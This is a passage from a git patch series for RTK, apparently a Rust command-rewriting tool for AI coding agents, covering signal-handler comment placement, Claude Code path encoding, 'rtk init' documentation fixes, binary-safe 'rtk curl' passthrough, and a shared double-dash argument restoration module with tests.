3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/main.rs b/src/main.rs index 62237dc2f5..5c0f7462b7 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1362,8 +1362,7 @@ fn main() { // release profile that becomes SIGABRT + coredump. #[cfg(unix)] #[allow(unsafe_code)] - unsafe { - // nosemgrep: unsafe-block + unsafe { // nosemgrep: unsafe-block libc::signal(libc::SIGPIPE, libc::SIG_DFL); } From 26ff547c25a408e40ec2e8b2d6ad10c8c98bcade Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 13:15:24 +0200 Subject: [PATCH 166/257] Update main.rs --- src/main.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/main.rs b/src/main.rs index 5c0f7462b7..7f11a3eb91 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1362,7 +1362,8 @@ fn main() { // release profile that becomes SIGABRT + coredump. #[cfg(unix)] #[allow(unsafe_code)] - unsafe { // nosemgrep: unsafe-block + // nosemgrep: unsafe-block + unsafe { libc::signal(libc::SIGPIPE, libc::SIG_DFL); } From 5989ac91b008dece0d36b62c2deb169a90d5063d Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sat, 30 May 2026 17:19:13 +0200 Subject: [PATCH 167/257] fix(provider): sanatize more chars when encoding claude code project pathes Fixes #2150 --- src/discover/provider.rs | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/src/discover/provider.rs b/src/discover/provider.rs index ee76c7a169..a9b630a2b9 100644 --- a/src/discover/provider.rs +++ b/src/discover/provider.rs @@ -129,7 +129,7 @@ impl ClaudeProvider { /// `/home/chris/2_project` → `-home-chris-2-project` /// `C:\Users\foo\bar` → `C:-Users-foo-bar` pub fn encode_project_path(path: &str) -> String { - const SANITIZED_CHARS: &[char] = &['/', '.', '_', '\\']; + const SANITIZED_CHARS: &[char] = &['/', '.', '_', '\\', ' ', '[', ']']; path.chars() .map(|c| { @@ -421,6 +421,17 @@ mod tests { assert!(encoded.contains("Sites")); } + #[test] + fn test_encode_path_with_spaces() { + // Even if run on Unix, encoding should replace backslashes to match Claude's behavior + assert_eq!( + ClaudeProvider::encode_project_path( + r"/home/user/projects/[QZX-7K42] - Análise Genérica de Exemplo" + ), + "-home-user-projects--QZX-7K42----An-lise-Gen-rica-de-Exemplo" + ); + } + #[test] fn test_discover_sessions_missing_projects_dir_returns_empty() { let temp_home = tempfile::tempdir().unwrap(); From 67a5958459decb784bb0948b921e5ffd9c8ee52c Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sat, 30 May 2026 18:16:30 +0200 Subject: [PATCH 168/257] doc(init): fix documentation inconsistencies arount `rtk init` Fixes #213 --- README.md | 8 +++++--- docs/guide/getting-started/supported-agents.md | 9 +++++---- 2 files changed, 10 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 492589ef80..d91e21b246 100644 --- a/README.md +++ b/README.md @@ -107,10 +107,11 @@ rtk init -g # Claude Code / Copilot (default) rtk init -g --gemini # Gemini CLI rtk init -g --codex # Codex (OpenAI) rtk init -g --agent cursor # Cursor -rtk init --agent windsurf # Windsurf +rtk init -g --agent windsurf # Windsurf rtk init --agent cline # Cline / Roo Code rtk init --agent kilocode # Kilo Code rtk init --agent antigravity # Google Antigravity +rtk init -g --agent pi # Pi rtk init --agent hermes # Hermes # 2. Restart your AI tool, then test @@ -352,7 +353,7 @@ rtk git status ## Supported AI Tools -RTK supports 13 AI coding tools. Each integration rewrites shell commands to `rtk` equivalents for 60-90% token savings where the agent supports command interception. +RTK supports 14 AI coding tools. Each integration rewrites shell commands to `rtk` equivalents for 60-90% token savings where the agent supports command interception. | Tool | Install | Method | |------|---------|--------| @@ -362,10 +363,11 @@ RTK supports 13 AI coding tools. Each integration rewrites shell commands to `rt | **Cursor** | `rtk init -g --agent cursor` | preToolUse hook (hooks.json) | | **Gemini CLI** | `rtk init -g --gemini` | BeforeTool hook | | **Codex** | `rtk init -g --codex` | AGENTS.md + RTK.md instructions | -| **Windsurf** | `rtk init --agent windsurf` | .windsurfrules (project-scoped) | +| **Windsurf** | `rtk init -g --agent windsurf` | .windsurfrules (project-scoped) | | **Cline / Roo Code** | `rtk init --agent cline` | .clinerules (project-scoped) | | **OpenCode** | `rtk init -g --opencode` | Plugin TS (tool.execute.before) | | **OpenClaw** | `openclaw plugins install ./openclaw` | Plugin TS (before_tool_call) | +| **Pi** | `rtk init -g --agent pi` (global) | TypeScript extension (tool_call) | | **Hermes** | `rtk init --agent hermes` | Python plugin adapter (terminal command mutation via `rtk rewrite`) | | **Mistral Vibe** | Planned ([#800](https://github.com/rtk-ai/rtk/issues/800)) | Blocked on upstream | | **Kilo Code** | `rtk init --agent kilocode` | .kilocode/rules/rtk-rules.md (project-scoped) | diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index be70ddbd0e..d5a0ad87c7 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -61,7 +61,7 @@ rtk init --show # shows hook status ### Cursor ```bash -rtk init --global --cursor +rtk init --global --agent cursor ``` Restart Cursor. The hook uses `preToolUse` with Cursor's `updated_input` format. @@ -140,7 +140,7 @@ The plugin fails open. If `rtk` is missing at load time, the hook is not registe ### Cline / Roo Code ```bash -rtk init --cline # creates .clinerules in current project +rtk init --agent cline # creates .clinerules in current project ``` Cline reads `.clinerules` as custom instructions. RTK adds guidance telling Cline to prefer `rtk ` over raw commands. @@ -148,13 +148,14 @@ Cline reads `.clinerules` as custom instructions. RTK adds guidance telling Clin ### Windsurf ```bash -rtk init --windsurf # creates .windsurfrules in current project +rtk init --global --agent windsurf # creates .windsurfrules in current project ``` ### Codex CLI ```bash -rtk init --codex # creates AGENTS.md or patches existing one +rtk init --codex # project-scoped (AGENTS.md) +rtk init --global --codex # user-global (~/.codex/AGENTS.md) ``` ### Kilo Code From a2a63e15f4d34f5de35eb7dc32eadb0b02f77327 Mon Sep 17 00:00:00 2001 From: patrick Date: Sun, 31 May 2026 11:06:53 +0200 Subject: [PATCH 169/257] fix(curl): passthrough binary downloads to prevent UTF-8 corruption MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `rtk curl ` silently corrupted any binary download (tarballs, zip, png, pdf, ELF, ...) because the response body was captured via `String::from_utf8_lossy` in `core::stream::exec_capture`. Every non-UTF-8 byte got replaced with U+FFFD (3 bytes: 0xEF 0xBF 0xBD), so gzip magic 1f 8b 08 00 arrived at downstream consumers as 1f ef bf bd 08 00 and `tar -xzf` complained "not in gzip format". Now `rtk curl` runs `Command::output()` directly to keep stdout as `Vec`, then checks `std::str::from_utf8(&bytes).is_err()`. If the response is not valid UTF-8 (i.e. the lossy conversion would corrupt it), raw bytes are written through to stdout via `write_all` and tracking is recorded as passthrough (0% savings — token counts over binary content have no meaning). The text/JSON code path is unchanged. Verified live on 18 real binary formats (rtk's own release artifacts, ripgrep, bat, fd, hyperfine, gh, tokei, kubectl ELF 51MB, rustup-init 20MB, W3C PDF, ISO 9899 PDF 4MB, GitHub avatar PNG, Wikimedia GIF, WebP sample, MP3/MP4/WAV samples) — all byte-identical to raw curl. 10 text regression tests (JSON/HTML/Markdown/Cargo.toml/RFC) confirm the text path keeps its existing behavior. Closes #1087 --- src/cmds/cloud/curl_cmd.rs | 91 +++++++++++++++++++++++++++++++++----- 1 file changed, 81 insertions(+), 10 deletions(-) diff --git a/src/cmds/cloud/curl_cmd.rs b/src/cmds/cloud/curl_cmd.rs index ed5b04a862..7073c2e421 100644 --- a/src/cmds/cloud/curl_cmd.rs +++ b/src/cmds/cloud/curl_cmd.rs @@ -5,13 +5,18 @@ //! The condensed-form-with-tee-hint path is reserved for non-JSON bodies on //! a real terminal where a human reads the output and the tee file gives the //! LLM a way to recover the raw response. +//! +//! Binary downloads (any non-UTF-8 byte sequence) are written through to +//! stdout as raw bytes, bypassing the UTF-8 lossy conversion that would +//! otherwise replace non-UTF-8 bytes with U+FFFD and corrupt the stream +//! (`#1087`). use crate::core::tee::force_tee_hint; use crate::core::tracking; -use crate::core::{stream::exec_capture, utils::resolved_command}; +use crate::core::utils::resolved_command; use anyhow::{Context, Result}; use std::borrow::Cow; -use std::io::IsTerminal; +use std::io::{IsTerminal, Write}; const MAX_RESPONSE_SIZE: usize = 500; @@ -28,22 +33,46 @@ pub fn run(args: &[String], verbose: u8) -> Result { eprintln!("Running: curl -s {}", args.join(" ")); } - let result = exec_capture(&mut cmd).context("Failed to run curl")?; + // Capture stdout as raw bytes (not UTF-8 String) so binary downloads + // survive intact. `String::from_utf8_lossy` would otherwise replace + // every non-UTF-8 byte with U+FFFD (3 bytes), corrupting e.g. gzip + // magic `1f 8b 08 00` into `1f ef bf bd 08 00` (#1087). + let output = cmd.output().context("Failed to run curl")?; + let exit_code = output.status.code().unwrap_or(1); // Skip filtering on failure: curl can return HTML error bodies that would // be misleading to summarize, and we want the real exit code surfaced. - if !result.success() { - let msg = if result.stderr.trim().is_empty() { - result.stdout.trim().to_string() + if !output.status.success() { + let stderr_str = String::from_utf8_lossy(&output.stderr); + let stdout_str = String::from_utf8_lossy(&output.stdout); + let msg = if stderr_str.trim().is_empty() { + stdout_str.trim().to_string() } else { - result.stderr.trim().to_string() + stderr_str.trim().to_string() }; eprintln!("FAILED: curl {}", msg); - return Ok(result.exit_code); + return Ok(exit_code); } - let exit_code = result.exit_code; - let raw = result.stdout; + // Binary detection: if the body is not valid UTF-8, `from_utf8_lossy` + // would replace every invalid byte with U+FFFD and corrupt the stream + // (gzip, zip, png, pdf, elf, ... — any binary format). Write raw bytes + // through and skip filtering. Tracking is recorded as passthrough + // (0% savings) since token counts over binary content have no meaning. + if is_binary(&output.stdout) { + let stdout = std::io::stdout(); + let mut handle = stdout.lock(); + handle + .write_all(&output.stdout) + .context("Failed to write binary response to stdout")?; + timer.track_passthrough( + &format!("curl {}", args.join(" ")), + &format!("rtk curl {}", args.join(" ")), + ); + return Ok(exit_code); + } + + let raw = String::from_utf8_lossy(&output.stdout).into_owned(); let is_tty = std::io::stdout().is_terminal(); let filtered = filter_curl_output(&raw, is_tty); @@ -62,6 +91,17 @@ pub fn run(args: &[String], verbose: u8) -> Result { Ok(exit_code) } +/// Returns `true` if `bytes` is not valid UTF-8 — which is exactly the +/// condition under which `from_utf8_lossy` would replace invalid bytes +/// with U+FFFD and corrupt downstream consumers (`#1087`). +/// +/// This is correct by construction: the only reason to passthrough raw +/// bytes is to avoid the lossy conversion, and the only bytes that suffer +/// from it are the non-UTF-8 ones. +fn is_binary(bytes: &[u8]) -> bool { + std::str::from_utf8(bytes).is_err() +} + fn filter_curl_output(raw: &str, is_tty: bool) -> FilterResult<'_> { let trimmed = raw.trim(); @@ -239,4 +279,35 @@ mod tests { let json_result = filter_curl_output(&json_payload, true); assert!(matches!(json_result.content, Cow::Borrowed(_))); } + + // --- is_binary tests ---------------------------------------------------- + + #[test] + fn test_is_binary_gzip_magic_is_not_utf8() { + // gzip magic 1f 8b — 0x8b is an invalid UTF-8 continuation byte + let bytes = [0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03]; + assert!(is_binary(&bytes)); + } + + #[test] + fn test_is_binary_valid_utf8_text_is_not_binary() { + assert!(!is_binary(br#"{"key": "value"}"#)); + assert!(!is_binary(b"\nHi")); + assert!(!is_binary(b"Plain ASCII text")); + assert!(!is_binary("Héllo wörld — emojis 🚀 ✓".as_bytes())); + } + + #[test] + fn test_is_binary_empty_is_not_binary() { + // Empty input is technically valid UTF-8 and trivially safe to filter. + assert!(!is_binary(&[])); + } + + #[test] + fn test_is_binary_text_with_nul_is_not_binary() { + // NUL is valid UTF-8 (U+0000). Unusual in HTTP responses but the + // function honors UTF-8 strictly — caller can still filter such + // content safely. The bug we're fixing is only invalid UTF-8 bytes. + assert!(!is_binary(b"text with\0embedded nul")); + } } From 83cd93e7d7ac544e9d0a5783edfdabff04a41226 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sun, 10 May 2026 02:10:47 +0200 Subject: [PATCH 170/257] chore(args): introduce a more generic solution for restoring double dashes in args Fixes #1669 --- src/cmds/git/git.rs | 200 ++----------------------------- src/cmds/rust/cargo_cmd.rs | 45 +------ src/core/args_utils.rs | 240 +++++++++++++++++++++++++++++++++++++ src/core/mod.rs | 1 + 4 files changed, 255 insertions(+), 231 deletions(-) create mode 100644 src/core/args_utils.rs diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index eaf8d8b5f9..b8ccfe9230 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1,5 +1,6 @@ //! Filters git output — log, status, diff, and more — keeping just the essential info. +use crate::core::args_utils; use crate::core::stream::{ self, exec_capture, CaptureResult, FilterMode, LineHandler, LineStreamFilter, StdinMode, }; @@ -102,65 +103,6 @@ pub fn run( } } -/// Re-insert `--` before the first path-like argument when clap has consumed it. -/// -/// clap's `trailing_var_arg = true` silently drops `--` when it appears as the -/// first positional argument (before any other positional). This means: -/// `rtk git diff -- file` → args = ["file"] (clap ate `--`) -/// `rtk git diff HEAD -- file` → args = ["HEAD", "--", "file"] (preserved) -/// -/// Without the `--` separator git may treat an unambiguous path as a revision and -/// emit "fatal: ambiguous argument". We re-insert `--` before the first path-like -/// argument; see `normalize_diff_args_impl` for the detection rules. -fn normalize_diff_args(args: &[String]) -> Vec { - normalize_diff_args_impl(args, |p| std::path::Path::new(p).exists()) -} - -/// Testable core of `normalize_diff_args` — accepts an injectable filesystem existence checker. -/// -/// The path-detection logic is: -/// 1. Explicit path prefixes (`.`, `~`) → always a path, no filesystem check needed. -/// 2. Contains path separator (`/`, `\`) → use `path_exists` to distinguish branch names -/// (e.g. `feature/auth`) from real paths (e.g. `src/main.rs`). -/// 3. Bare word with no separator → never a path (avoids injecting `--` when a file -/// happens to share a name with a branch or ref, e.g. a file named `main`). -fn normalize_diff_args_impl(args: &[String], path_exists: F) -> Vec -where - F: Fn(&str) -> bool, -{ - // Already has `--` — nothing to do - if args.iter().any(|a| a == "--") { - return args.to_vec(); - } - let path_start = args.iter().position(|arg| { - if arg.starts_with('-') { - return false; - } - // Explicit path prefixes — always treat as path regardless of existence - if arg.starts_with('.') || arg.starts_with('~') { - return true; - } - // Contains path separator — use filesystem check to distinguish - // branch names (feature/auth) from real paths (src/main.rs) - if arg.contains('/') || arg.contains('\\') { - return path_exists(arg); - } - // Bare word (no separator, no special prefix) — never inject `--` - // This avoids misidentifying a ref/branch as a path even if a same-named - // file happens to exist on disk. - false - }); - match path_start { - Some(idx) => { - let mut out = args[..idx].to_vec(); - out.push("--".to_string()); - out.extend_from_slice(&args[idx..]); - out - } - None => args.to_vec(), - } -} - fn run_diff( args: &[String], max_lines: Option, @@ -170,7 +112,7 @@ fn run_diff( let timer = tracking::TimedExecution::start(); // Re-insert `--` when clap's trailing_var_arg consumed it (issue #1215) - let args = &normalize_diff_args(args); + let args = &args_utils::restore_double_dash(args); // Check if user wants stat output let wants_stat = args @@ -1911,8 +1853,14 @@ mod tests { assert!(uses_compact_status_path(&["-b".to_string()])); assert!(uses_compact_status_path(&["--branch".to_string()])); assert!(uses_compact_status_path(&["-sb".to_string()])); - assert!(uses_compact_status_path(&["-s".to_string(), "-b".to_string()])); - assert!(uses_compact_status_path(&["--short".to_string(), "--branch".to_string()])); + assert!(uses_compact_status_path(&[ + "-s".to_string(), + "-b".to_string() + ])); + assert!(uses_compact_status_path(&[ + "--short".to_string(), + "--branch".to_string() + ])); assert!(!uses_compact_status_path(&["-s".to_string()])); assert!(!uses_compact_status_path(&["--short".to_string()])); assert!(!uses_compact_status_path(&["--porcelain".to_string()])); @@ -2002,134 +1950,6 @@ mod tests { ); } - // ----- normalize_diff_args (issue #1215 + branch-name fix #1431) ----- - // - // Tests use normalize_diff_args_impl with a mock path-existence checker so - // they don't depend on the real filesystem. - - fn exists_mock<'a>(existing: &'a [&'a str]) -> impl Fn(&str) -> bool + 'a { - move |p| existing.contains(&p) - } - - /// Baseline: `--` already present → no-op, args unchanged. - #[test] - fn test_normalize_diff_args_noop_when_separator_present() { - let args = vec![ - "HEAD".to_string(), - "--".to_string(), - "src/main.rs".to_string(), - ]; - assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); - } - - /// Core regression (issue #1215): clap ate `--` before a real file path. - /// When the path exists on disk, `--` must be re-inserted. - #[test] - fn test_normalize_diff_args_reinserts_separator_before_existing_path() { - let args = vec!["apps/client/frontend/src/MyComponent.tsx".to_string()]; - let normalized = normalize_diff_args_impl( - &args, - exists_mock(&["apps/client/frontend/src/MyComponent.tsx"]), - ); - assert_eq!( - normalized, - vec![ - "--".to_string(), - "apps/client/frontend/src/MyComponent.tsx".to_string() - ], - "-- must be injected before an existing path" - ); - } - - /// Ref before path: ["HEAD", "src/foo.rs"] where src/foo.rs exists → inject after HEAD. - #[test] - fn test_normalize_diff_args_reinserts_separator_after_ref() { - let args = vec!["HEAD".to_string(), "src/foo.rs".to_string()]; - let normalized = normalize_diff_args_impl(&args, exists_mock(&["src/foo.rs"])); - assert_eq!( - normalized, - vec![ - "HEAD".to_string(), - "--".to_string(), - "src/foo.rs".to_string() - ] - ); - } - - /// Flags before path: ["--cached", "src/foo.rs"] where src/foo.rs exists. - #[test] - fn test_normalize_diff_args_reinserts_separator_after_flag() { - let args = vec!["--cached".to_string(), "src/foo.rs".to_string()]; - let normalized = normalize_diff_args_impl(&args, exists_mock(&["src/foo.rs"])); - assert_eq!( - normalized, - vec![ - "--cached".to_string(), - "--".to_string(), - "src/foo.rs".to_string() - ] - ); - } - - /// Pure flags (no paths) → no injection. - #[test] - fn test_normalize_diff_args_no_injection_for_pure_flags() { - let args = vec!["--stat".to_string(), "--cached".to_string()]; - assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); - } - - /// Dotfile that exists on disk → inject `--`. - #[test] - fn test_normalize_diff_args_dotfile_is_path() { - let args = vec![".gitignore".to_string()]; - let normalized = normalize_diff_args_impl(&args, exists_mock(&[".gitignore"])); - assert_eq!(normalized, vec!["--".to_string(), ".gitignore".to_string()]); - } - - /// A bare ref (HEAD) that doesn't exist as a file → no injection. - #[test] - fn test_normalize_diff_args_no_injection_for_bare_ref() { - let args = vec!["HEAD".to_string()]; - assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); - } - - /// Branch name with `/` that does NOT exist as a file → no injection. - /// Regression for issue #1431: `rtk git diff feature/user-auth` must not inject `--`. - #[test] - fn test_normalize_diff_args_no_injection_for_branch_with_slash() { - let args = vec!["feature/user-auth".to_string()]; - assert_eq!( - normalize_diff_args_impl(&args, exists_mock(&[])), - args, - "branch names containing '/' must not trigger -- injection" - ); - } - - /// Range syntax with `/` → no injection. - /// Regression: `rtk git diff main...feature/user-auth` produced no output. - #[test] - fn test_normalize_diff_args_no_injection_for_range_with_slash() { - let args = vec!["main...feature/user-auth".to_string()]; - assert_eq!( - normalize_diff_args_impl(&args, exists_mock(&[])), - args, - "revision ranges like main...feature/user-auth must not trigger -- injection" - ); - } - - /// Bare word that happens to exist as a file on disk → still no injection. - /// A file named "main" must not cause `--` to be injected when the user - /// intends `rtk git diff main` as a branch comparison. - #[test] - fn test_normalize_diff_args_no_injection_for_bare_word_even_if_file_exists() { - let args = vec!["main".to_string()]; - assert_eq!( - normalize_diff_args_impl(&args, exists_mock(&["main"])), - args, - "bare words must never trigger -- injection even when a same-named file exists" - ); - } - #[test] fn test_is_blob_show_arg() { assert!(is_blob_show_arg("develop:modules/pairs_backtest.py")); diff --git a/src/cmds/rust/cargo_cmd.rs b/src/cmds/rust/cargo_cmd.rs index 5b8152ce0f..8726de40e9 100644 --- a/src/cmds/rust/cargo_cmd.rs +++ b/src/cmds/rust/cargo_cmd.rs @@ -1,5 +1,6 @@ //! Filters cargo output — build errors, test results, clippy warnings. +use crate::core::args_utils; use crate::core::runner; use crate::core::stream::{BlockHandler, BlockStreamFilter, StreamFilter}; use crate::core::truncate::{CAP_ERRORS, CAP_LIST, CAP_WARNINGS}; @@ -31,45 +32,6 @@ pub fn run(cmd: CargoCommand, args: &[String], verbose: u8) -> Result { } } -/// Reconstruct args with `--` separator preserved from the original command line. -/// Clap strips `--` from parsed args, but cargo subcommands need it to separate -/// their own flags from test runner flags (e.g. `cargo test -- --nocapture`). -fn restore_double_dash(args: &[String]) -> Vec { - let raw_args: Vec = std::env::args().collect(); - restore_double_dash_with_raw(args, &raw_args) -} - -/// Testable version that takes raw_args explicitly. -fn restore_double_dash_with_raw(args: &[String], raw_args: &[String]) -> Vec { - if args.is_empty() { - return args.to_vec(); - } - - // If args already contain `--` (Clap preserved it), no restoration needed - if args.iter().any(|a| a == "--") { - return args.to_vec(); - } - - // Find `--` in the original command line - let sep_pos = match raw_args.iter().position(|a| a == "--") { - Some(pos) => pos, - None => return args.to_vec(), - }; - - // Count how many of our parsed args appeared before `--` in the original. - // Args before `--` are positional (e.g. test name), args after are flags. - let args_before_sep = raw_args[..sep_pos] - .iter() - .filter(|a| args.contains(a)) - .count(); - - let mut result = Vec::with_capacity(args.len() + 1); - result.extend_from_slice(&args[..args_before_sep]); - result.push("--".to_string()); - result.extend_from_slice(&args[args_before_sep..]); - result -} - // --- Stream handlers --- struct CargoBuildHandler { @@ -291,7 +253,7 @@ where let mut cmd = resolved_command("cargo"); cmd.arg(subcommand); - let restored_args = restore_double_dash(args); + let restored_args = args_utils::restore_double_dash(args); for arg in &restored_args { cmd.arg(arg); } @@ -318,7 +280,7 @@ fn run_cargo_streamed( let mut cmd = resolved_command("cargo"); cmd.arg(subcommand); - let restored_args = restore_double_dash(args); + let restored_args = args_utils::restore_double_dash(args); for arg in &restored_args { cmd.arg(arg); } @@ -1275,6 +1237,7 @@ pub fn run_passthrough(args: &[OsString], verbose: u8) -> Result { #[cfg(test)] mod tests { use super::*; + use crate::core::args_utils::restore_double_dash_with_raw; #[test] fn test_restore_double_dash_with_separator() { diff --git a/src/core/args_utils.rs b/src/core/args_utils.rs new file mode 100644 index 0000000000..f5418b0cc8 --- /dev/null +++ b/src/core/args_utils.rs @@ -0,0 +1,240 @@ +//! Utility functions for argument handling, particularly for restoring "--" escape +//! arguments that clap consumes during parsing. + +/// Restores "--" escape arguments that clap consumed. +/// Handles: +/// - Single/multiple "--" swallowed by clap (restores each at its original position) +/// - "--" already present in parsed (no change) +/// - No "--" in original command (no injection) +/// - Args appearing before/after "--" in original (preserves order) +/// - Interleaved "--" and args (preserves relative positions, e.g., "-- arg1 -- arg2") +/// - Duplicate args on both sides of "--" +/// +/// Returns parsed_args unchanged if raw has same or fewer "--" than parsed +/// (meaning clap didn't consume any, or preserved them). +pub fn restore_double_dash(parsed_args: &[String]) -> Vec { + let raw_args: Vec = std::env::args().collect(); + restore_double_dash_with_raw(parsed_args, &raw_args) +} + +/// Testable version that takes raw_args explicitly. +pub fn restore_double_dash_with_raw(parsed_args: &[String], raw_args: &[String]) -> Vec { + let raw_dash_count = raw_args.iter().filter(|a| a.as_str() == "--").count(); + let parsed_dash_count = parsed_args.iter().filter(|a| a.as_str() == "--").count(); + + if raw_dash_count <= parsed_dash_count { + return parsed_args.to_vec(); + } + + // Find all positions of "--" in raw_args (skip index 0 = "rtk") + let mut dash_positions: Vec = Vec::new(); + for (i, arg) in raw_args.iter().enumerate().skip(1) { + if arg == "--" { + dash_positions.push(i); + } + } + + if dash_positions.is_empty() { + return parsed_args.to_vec(); + } + + // Build result by inserting "--" at correct positions relative to parsed args + let mut result = Vec::new(); + let mut raw_idx = 1; // start after "rtk" + let mut dash_idx = 0; + + while raw_idx < raw_args.len() { + // Check if current position is a "--" that was swallowed + if dash_idx < dash_positions.len() && raw_idx == dash_positions[dash_idx] { + result.push("--".to_string()); + dash_idx += 1; + } else if parsed_args.contains(&raw_args[raw_idx]) { + // This arg is in parsed_args, add it + result.push(raw_args[raw_idx].clone()); + } + raw_idx += 1; + } + + result +} + +#[cfg(test)] +mod tests { + use super::*; + + fn restore_with_raw(parsed: &[&str], raw: &[&str]) -> Vec { + let parsed: Vec = parsed.iter().map(|s| s.to_string()).collect(); + let raw: Vec = raw.iter().map(|s| s.to_string()).collect(); + restore_double_dash_with_raw(parsed.as_slice(), raw.as_slice()) + } + + // ============ Single "--" swallowed ============ + + #[test] + fn test_single_dash_swallowed() { + // rtk git diff -- file → clap gave ["file"], restore "--" + let raw = vec!["rtk", "git", "diff", "--", "file"]; + let parsed = vec!["file"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "file"]); + } + + #[test] + fn test_args_before_dash() { + // rtk cargo test name -- --nocapture → args before "--" stay before + let raw = vec!["rtk", "cargo", "test", "name", "--", "--nocapture"]; + let parsed = vec!["name", "--nocapture"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["name", "--", "--nocapture"] + ); + } + + // ============ Multiple "--" swallowed ============ + + #[test] + fn test_multiple_dashes_all_swallowed() { + // rtk git diff -- -- -- → all 3 "--" swallowed, consecutive in output + let raw = vec!["rtk", "git", "diff", "--", "--", "--"]; + let parsed: Vec<&str> = vec![]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--", "--"]); + } + + #[test] + fn test_dashes_with_args_between() { + // rtk git diff -- arg1 -- arg2 → both "--" consumed, preserve positions + let raw = vec!["rtk", "git", "diff", "--", "arg1", "--", "arg2"]; + let parsed = vec!["arg1", "arg2"]; + // Result: each "--" inserted at its original position relative to args + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["--", "arg1", "--", "arg2"] + ); + } + + #[test] + fn test_multiple_dashes_some_preserved() { + // rtk git diff -- -- → 2 in raw, 1 preserved in parsed + let raw = vec!["rtk", "git", "diff", "--", "--"]; + let parsed = vec!["--"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--"]); + } + + #[test] + fn test_compound_command_with_dashes() { + // Multiple segments with "--" → restore all + let raw = vec!["rtk", "cmd1", "--", "arg1", "&&", "cmd2", "--", "file"]; + let parsed = vec!["file"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--", "file"]); + } + + // ============ "--" already present (no change needed) ============ + + #[test] + fn test_dash_already_preserved() { + // rtk cargo clippy -p pkg -- -D warnings → clap kept "--" + let raw = vec![ + "rtk", "cargo", "clippy", "-p", "pkg", "--", "-D", "warnings", + ]; + let parsed = vec!["-p", "pkg", "--", "-D", "warnings"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["-p", "pkg", "--", "-D", "warnings"] + ); + } + + #[test] + fn test_trailing_dash_preserved() { + // rtk git diff file -- → trailing "--" preserved + let raw = vec!["rtk", "git", "diff", "file", "--"]; + let parsed = vec!["file", "--"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["file", "--"]); + } + + // ============ No "--" in original (no injection) ============ + + #[test] + fn test_no_dash_in_original() { + // Various cases: branch with /, range, bare word, flags only + // All should return args unchanged (no injection) + let cases = vec![ + ( + vec!["rtk", "git", "diff", "feature/auth"], + vec!["feature/auth"], + ), + ( + vec!["rtk", "git", "diff", "main...feature"], + vec!["main...feature"], + ), + (vec!["rtk", "git", "diff", "main"], vec!["main"]), + ( + vec!["rtk", "git", "diff", "--stat", "--cached"], + vec!["--stat", "--cached"], + ), + ]; + for (raw, parsed) in cases { + assert_eq!(restore_with_raw(&parsed, &raw), parsed); + } + } + + // ============ Edge cases ============ + + #[test] + fn test_duplicate_args_both_sides() { + // -p pkg1 -p pkg2 -- -p pkg3 → restore after last -p + let raw = vec![ + "rtk", "cargo", "clippy", "-p", "p1", "-p", "p2", "--", "-p", "p3", + ]; + let parsed = vec!["-p", "p1", "-p", "p2", "-p", "p3"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["-p", "p1", "-p", "p2", "--", "-p", "p3"] + ); + } + + #[test] + fn test_empty_args() { + let raw = vec!["rtk", "cargo", "test"]; + let parsed: Vec<&str> = vec![]; + assert_eq!(restore_with_raw(&parsed, &raw), Vec::::new()); + } + + #[test] + fn test_cargo_clippy_missing_dash() { + // No "--" in original → no injection + let raw = vec!["rtk", "cargo", "clippy", "-D", "warnings"]; + let parsed = vec!["-D", "warnings"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["-D", "warnings"]); + } + + // ============ Git diff specific cases ============ + + #[test] + fn test_git_diff_ref_before_path() { + // rtk git diff HEAD -- file + let raw = vec!["rtk", "git", "diff", "HEAD", "--", "file"]; + let parsed = vec!["HEAD", "file"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["HEAD", "--", "file"]); + } + + #[test] + fn test_git_diff_flags_before_path() { + // rtk git diff --cached -- file + let raw = vec!["rtk", "git", "diff", "--cached", "--", "file"]; + let parsed = vec!["--cached", "file"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["--cached", "--", "file"] + ); + } + + #[test] + fn test_git_diff_multiple_files() { + // Original issue: multiple files caused "fatal: bad revision" + let raw = vec!["rtk", "git", "diff", "--", "file1", "file2", "file3"]; + let parsed = vec!["file1", "file2", "file3"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["--", "file1", "file2", "file3"] + ); + } +} diff --git a/src/core/mod.rs b/src/core/mod.rs index fe017d910d..d5182bd340 100644 --- a/src/core/mod.rs +++ b/src/core/mod.rs @@ -1,5 +1,6 @@ //! Building blocks shared across all RTK modules. +pub mod args_utils; pub mod config; pub mod constants; pub mod display_helpers; From 508192dbdcc6a1a753afbd0c87f7255886fad2ea Mon Sep 17 00:00:00 2001 From: "Christian C. Berclaz" Date: Mon, 25 May 2026 